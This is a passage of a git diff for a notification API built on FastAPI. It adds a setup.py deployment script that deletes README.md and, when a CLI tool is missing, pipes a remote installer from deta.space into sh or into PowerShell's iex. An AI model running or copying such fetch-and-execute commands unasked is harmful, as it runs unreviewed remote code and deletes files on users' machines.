AuthJWT = Depends()): + """Mark notification as read""" + try: + Authorize.jwt_required() + + db = notification_db() + db.update({"read": True}).eq("id", notification_id).execute() + + return JSONResponse({ + "success": True, + "message": "Notification marked as read" + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") -@router.get("/delete/{id}") -async def delete_notification(id: str, Authorize: AuthJWT = Depends()): - Authorize.jwt_required() - data = notification_db.fetch({"device_id": id}).items - for i in data: - notification_db.delete(i["key"]) - return JSONResponse( - {"success": True, "message": "notification deleted successfully"} - ) +@router.delete("/device/{device_id}") +async def delete_device_notifications(device_id: str, Authorize: AuthJWT = Depends()): + """Delete all notifications for device""" + try: + Authorize.jwt_required() + + db = notification_db() + db.delete().eq("device_id", device_id).execute() + + return JSONResponse({ + "success": True, + "message": "Notifications deleted successfully" + }) + except Exception as e: + raise HTTPException(status_code=500, detail=f"Error: {str(e)}") diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..64ddc96 --- /dev/null +++ b/setup.py @@ -0,0 +1,39 @@ +import os +import string +import random +import webbrowser + +if os.name == 'nt': + space = os.path.join(os.path.expanduser("~"),'.detaspace','bin','space.exe') +else: + space = os.path.join(os.path.expanduser("~"),'.detaspace','bin','space') + +def generate_random_string(length): + letters = string.ascii_letters + return ''.join(random.choice(letters) for i in range(length)) + +def main(): + if os.path.exists(space): + if os.path.exists("README.md"): + os.remove("README.md") + webbrowser.open("https://deta.space", new=2) + print("create a account in deta.space") + print("once's your account is created and you can login to your account") + print("click on the search bar at the bottom of the screen in deta.space home page") + print("and then click on the settings button") + print("and then click on the Generate Token button") + print("it will generate a new token and copy the token paste it below") + os.system(space + " login") + os.system(space + " new -n " + generate_random_string(10)) + os.system(space + " push") + else: + print("space is not installed") + print("installing space cli....") + if os.name == 'nt': + os.system("powershell -c \"iwr https://deta.space/assets/space-cli.ps1 -useb | iex\"") + else: + os.system("curl -fsSL https://deta.space/assets/space-cli.sh | sh") + + print("\nPlease run this script again!") + +main() diff --git a/static/css/main.101b48ee.css b/static/css/main.101b48ee.css deleted file mode 100644 index 5d566b1..0000000 --- a/static/css/main.101b48ee.css +++ /dev/null @@ -1,2 +0,0 @@ -body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;margin:0}code{font-family:source-code-pro,Menlo,Monaco,Consolas,Courier New,monospace}.App{text-align:center}.App-logo{height:40vmin;pointer-events:none}@media (prefers-reduced-motion:no-preference){.App-logo{-webkit-animation:App-logo-spin 20s linear infinite;animation:App-logo-spin 20s linear infinite}}.App-header{align-items:center;background-color:#282c34;color:#fff;display:flex;flex-direction:column;font-size:calc(10px + 2vmin);justify-content:center;min-height:100vh}.App-link{color:#61dafb}@-webkit-keyframes App-logo-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes App-logo-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}:root{--toastify-color-light:#fff;--toastify-color-dark:#121212;--toastify-color-info:#3498db;--toastify-color-success:#07bc0c;--toastify-color-warning:#f1c40f;--toastify-color-error:#e74c3c;--toastify-color-transparent:hsla(0,0%,100%,.7);--toastify-icon-color-info:var(--toastify-color-info);--toastify-icon-color-success:var(--toastify-color-success);--toastify-icon-color-warning:var(--toastify-color-warning);--toastify-icon-color-error:var(--toastify-color-error);--toastify-toast-width:320px;--toastify-toast-background:#fff;--toastify-toast-min-height:64px;--toastify-toast-max-height:800px;--toastify-font-family:sans-serif;--toastify-z-index:9999;--toastify-text-color-light:#757575;--toastify-text-color-dark:#fff;--toastify-text-color-info:#fff;--toastify-text-color-success:#fff;--toastify-text-color-warning:#fff;--toastify-text-color-error:#fff;--toastify-spinner-color:#616161;--toastify-spinner-color-empty-area:#e0e0e0;--toastify-color-progress-light:linear-gradient(90deg,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55);--toastify-color-progress-dark:#bb86fc;--toastify-color-progress-info:var(--toastify-color-info);--toastify-color-progress-success:var(--toastify-color-success);--toastify-color-progress-warning:var(--toastify-color-warning);--toastify-color-progress-error:var(--toastify-color-error)}.Toastify__toast-container{box-sizing:border-box;color:#fff;padding:4px;position:fixed;-webkit-transform:translate3d(0,0,9999 px);-webkit-transform:translate3d(0,0,var(--toastify-z-index) px);width:320px;width:var(--toastify-toast-width);z-index:9999;z-index:var(--toastify-z-index)}.Toastify__toast-container--top-left{left:1em;top:1em}.Toastify__toast-container--top-center{left:50%;top:1em;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.Toastify__toast-container--top-right{right:1em;top:1em}.Toastify__toast-container--bottom-left{bottom:1em;left:1em}.Toastify__toast-container--bottom-center{bottom:1em;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.Toastify__toast-container--bottom-right{bottom:1em;right:1em}@media only screen and (max-width:480px){.Toastify__toast-container{left:0;margin:0;padding:0;width:100vw}.Toastify__toast-container--top-center,.Toastify__toast-container--top-left,.Toastify__toast-container--top-right{top:0;-webkit-transform:translateX(0);transform:translateX(0)}.Toastify__toast-container--bottom-center,.Toastify__toast-container--bottom-left,.Toastify__toast-container--bottom-right{bottom:0;-webkit-transform:translateX(0);transform:translateX(0)}.Toastify__toast-container--rtl{left:auto;right:0}}.Toastify__toast{border-radius:4px;box-shadow:0 1px 10px 0 rgba(0,0,0,.1),0 2px 15px 0 rgba(0,0,0,.05);box-sizing:border-box;cursor:pointer;direction:ltr;display:flex;font-family:sans-serif;font-family:var(--toastify-font-family);justify-content:space-between;margin-bottom:1rem;max-height:800px;max-height:var(--toastify-toast-max-height);min-height:64px;min-height:var(--toastify-toast-min-height);overflow:hidden;padding:8px;position:relative}.Toastify__toast--rtl{direction:rtl}.Toastify__toast-body{align-items:center;display:flex;flex:1 1 auto;margin:auto 0;padding:6px}.Toastify__toast-body>div:last-child{flex:1 1}.Toastify__toast-icon{-webkit-margin-end:10px;display:flex;flex-shrink:0;margin-inline-end:10px;width:20px}.Toastify--animate{-webkit-animation-duration:.7s;animation-duration:.7s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.Toastify--animate-icon{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:both;animation-fill-mode:both}@media only screen and (max-width:480px){.Toastify__toast{border-radius:0;margin-bottom:0}}.Toastify__toast-theme--dark{background:#121212;background:var(--toastify-color-dark);color:#fff;color:var(--toastify-text-color-dark)}.Toastify__toast-theme--colored.Toastify__toast--default,.Toastify__toast-theme--light{background:#fff;background:var(--toastify-color-light);color:#757575;color:var(--toastify-text-color-light)}.Toastify__toast-theme--colored.Toastify__toast--info{background:#3498db;background:var(--toastify-color-info);color:#fff;color:var(--toastify-text-color-info)}.Toastify__toast-theme--colored.Toastify__toast--success{background:#07bc0c;background:var(--toastify-color-success);color:#fff;color:var(--toastify-text-color-success)}.Toastify__toast-theme--colored.Toastify__toast--warning{background:#f1c40f;background:var(--toastify-color-warning);color:#fff;color:var(--toastify-text-color-warning)}.Toastify__toast-theme--colored.Toastify__toast--error{background:#e74c3c;background:var(--toastify-color-error);color:#fff;color:var(--toastify-text-color-error)}.Toastify__progress-bar-theme--light{background:linear-gradient(90deg,#4cd964,#5ac8fa,#007aff,#34aadc,#5856d6,#ff2d55);background:var(--toastify-color-progress-light)}.Toastify__progress-bar-theme--dark{background:#bb86fc;background:var(--toastify-color-progress-dark)}.Toastify__progress-bar--info{background:#3498db;background:var(--toastify-color-progress-info)}.Toastify__progress-bar--success{background:#07bc0c;background:var(--toastify-color-progress-success)}.Toastify__progress-bar--warning{background:#f1c40f;background:var(--toastify-color-progress-warning)}.Toastify__progress-bar--error{background:#e74c3c;background:var(--toastify-color-progress-error)}.Toastify__progress-bar-theme--colored.Toastify__progress-bar--error,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--info,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--success,.Toastify__progress-bar-theme--colored.Toastify__progress-bar--warning{background:hsla(0,0%,100%,.7);background:var(--toastify-color-transparent)}.Toastify__close-button{align-self:flex-start;background:transparent;border:none;color:#fff;cursor:pointer;opacity:.7;outline:none;padding:0;transition:.3s ease}.Toastify__close-button--light{color:#000;opacity:.3}.Toastify__close-button>svg{fill:currentColor;height:16px;width:14px}.Toastify__close-button:focus,.Toastify__close-button:hover{opacity:1}@-webkit-keyframes Toastify__trackProgress{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}to{-webkit-transform:scaleX(0);transform:scaleX(0)}}@keyframes Toastify__trackProgress{0%{-webkit-transform:scaleX(1);transform:scaleX(1)}to{-webkit-transform:scaleX(0);transform:scaleX(0)}}.Toastify__progress-bar{bottom:0;height:5px;left:0;opacity:.7;position:absolute;-webkit-transform-origin:left;transform-origin:left;width:100%;z-index:9999;z-index:var(--toastify-z-index)}.Toastify__progress-bar--animated{-webkit-animation:Toastify__trackProgress linear 1 forwards;animation:Toastify__trackProgress linear 1 forwards}.Toastify__progress-bar--controlled{transition:-webkit-transform .2s;transition:transform .2s;transition:transform .2s,-webkit-transform .2s}.Toastify__progress-bar--rtl{left:auto;right:0;-webkit-transform-origin:right;transform-origin:right}.Toastify__spinner{-webkit-animation:Toastify__spin .65s linear infinite;animation:Toastify__spin .65s linear infinite;border:2px solid #e0e0e0;border-color:var(--toastify-spinner-color-empty-area);border-radius:100%;border-right:2px solid var(--toastify-spinner-color);box-sizing:border-box;height:20px;width:20px}@-webkit-keyframes Toastify__bounceInRight{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes Toastify__bounceInRight{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}@-webkit-keyframes Toastify__bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes Toastify__bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@-webkit-keyframes Toastify__bounceInLeft{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes Toastify__bounceInLeft{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}@-webkit-keyframes Toastify__bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes Toastify__bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@-webkit-keyframes Toastify__bounceInUp{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__bounceInUp{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes Toastify__bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@-webkit-keyframes Toastify__bounceInDown{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}@keyframes Toastify__bounceInDown{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}@-webkit-keyframes Toastify__bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes Toastify__bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.Toastify__bounce-enter--bottom-left,.Toastify__bounce-enter--top-left{-webkit-animation-name:Toastify__bounceInLeft;animation-name:Toastify__bounceInLeft}.Toastify__bounce-enter--bottom-right,.Toastify__bounce-enter--top-right{-webkit-animation-name:Toastify__bounceInRight;animation-name:Toastify__bounceInRight}.Toastify__bounce-enter--top-center{-webkit-animation-name:Toastify__bounceInDown;animation-name:Toastify__bounceInDown}.Toastify__bounce-enter--bottom-center{-webkit-animation-name:Toastify__bounceInUp;animation-name:Toastify__bounceInUp}.Toastify__bounce-exit--bottom-left,.Toastify__bounce-exit--top-left{-webkit-animation-name:Toastify__bounceOutLeft;animation-name:Toastify__bounceOutLeft}.Toastify__bounce-exit--bottom-right,.Toastify__bounce-exit--top-right{-webkit-animation-name:Toastify__bounceOutRight;animation-name:Toastify__bounceOutRight}.Toastify__bounce-exit--top-center{-webkit-animation-name:Toastify__bounceOutUp;animation-name:Toastify__bounceOutUp}.Toastify__bounce-exit--bottom-center{-webkit-animation-name:Toastify__bounceOutDown;animation-name:Toastify__bounceOutDown}@-webkit-keyframes Toastify__zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes Toastify__zoomIn{0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@-webkit-keyframes Toastify__zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes Toastify__zoomOut{0%{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}.Toastify__zoom-enter{-webkit-animation-name:Toastify__zoomIn;animation-name:Toastify__zoomIn}.Toastify__zoom-exit{-webkit-animation-name:Toastify__zoomOut;animation-name:Toastify__zoomOut}@-webkit-keyframes Toastify__flipIn{0%{-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0;-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg)}40%{-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg)}60%{opacity:1;-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg)}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes Toastify__flipIn{0%{-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0;-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg)}40%{-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg)}60%{opacity:1;-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg)}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes Toastify__flipOut{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{opacity:1;-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg)}to{opacity:0;-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg)}}@keyframes Toastify__flipOut{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{opacity:1;-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg)}to{opacity:0;-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg)}}.Toastify__flip-enter{-webkit-animation-name:Toastify__flipIn;animation-name:Toastify__flipIn}.Toastify__flip-exit{-webkit-animation-name:Toastify__flipOut;animation-name:Toastify__flipOut}@-webkit-keyframes Toastify__slideInRight{0%{-webkit-transform:translate3d(110%,0,0);transform:translate3d(110%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__slideInRight{0%{-webkit-transform:translate3d(110%,0,0);transform:translate3d(110%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__slideInLeft{0%{-webkit-transform:translate3d(-110%,0,0);transform:translate3d(-110%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__slideInLeft{0%{-webkit-transform:translate3d(-110%,0,0);transform:translate3d(-110%,0,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__slideInUp{0%{-webkit-transform:translate3d(0,110%,0);transform:translate3d(0,110%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__slideInUp{0%{-webkit-transform:translate3d(0,110%,0);transform:translate3d(0,110%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__slideInDown{0%{-webkit-transform:translate3d(0,-110%,0);transform:translate3d(0,-110%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes Toastify__slideInDown{0%{-webkit-transform:translate3d(0,-110%,0);transform:translate3d(0,-110%,0);visibility:visible}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes Toastify__slideOutRight{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(110%,0,0);transform:translate3d(110%,0,0);visibility:hidden}}@keyframes Toastify__slideOutRight{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(110%,0,0);transform:translate3d(110%,0,0);visibility:hidden}}@-webkit-keyframes Toastify__slideOutLeft{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(-110%,0,0);transform:translate3d(-110%,0,0);visibility:hidden}}@keyframes Toastify__slideOutLeft{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(-110%,0,0);transform:translate3d(-110%,0,0);visibility:hidden}}@-webkit-keyframes Toastify__slideOutDown{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,500px,0);transform:translate3d(0,500px,0);visibility:hidden}}@keyframes Toastify__slideOutDown{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,500px,0);transform:translate3d(0,500px,0);visibility:hidden}}@-webkit-keyframes Toastify__slideOutUp{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,-500px,0);transform:translate3d(0,-500px,0);visibility:hidden}}@keyframes Toastify__slideOutUp{0%{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,-500px,0);transform:translate3d(0,-500px,0);visibility:hidden}}.Toastify__slide-enter--bottom-left,.Toastify__slide-enter--top-left{-webkit-animation-name:Toastify__slideInLeft;animation-name:Toastify__slideInLeft}.Toastify__slide-enter--bottom-right,.Toastify__slide-enter--top-right{-webkit-animation-name:Toastify__slideInRight;animation-name:Toastify__slideInRight}.Toastify__slide-enter--top-center{-webkit-animation-name:Toastify__slideInDown;animation-name:Toastify__slideInDown}.Toastify__slide-enter--bottom-center{-webkit-animation-name:Toastify__slideInUp;animation-name:Toastify__slideInUp}.Toastify__slide-exit--bottom-left,.Toastify__slide-exit--top-left{-webkit-animation-name:Toastify__slideOutLeft;animation-name:Toastify__slideOutLeft}.Toastify__slide-exit--bottom-right,.Toastify__slide-exit--top-right{-webkit-animation-name:Toastify__slideOutRight;animation-name:Toastify__slideOutRight}.Toastify__slide-exit--top-center{-webkit-animation-name:Toastify__slideOutUp;animation-name:Toastify__slideOutUp}.Toastify__slide-exit--bottom-center{-webkit-animation-name:Toastify__slideOutDown;animation-name:Toastify__slideOutDown}@-webkit-keyframes Toastify__spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes Toastify__spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}} -/*# sourceMappingURL=main.101b48ee.css.map*/ \ No newline at end of file diff --git a/static/css/main.101b48ee.css.map b/static/css/main.101b48ee.css.map deleted file mode 100644 index 4e03829..0000000 --- a/static/css/main.101b48ee.css.map +++ /dev/null @@ -1 +0,0 @@ -{"version":3,"file":"static/css/main.101b48ee.css","mappings":"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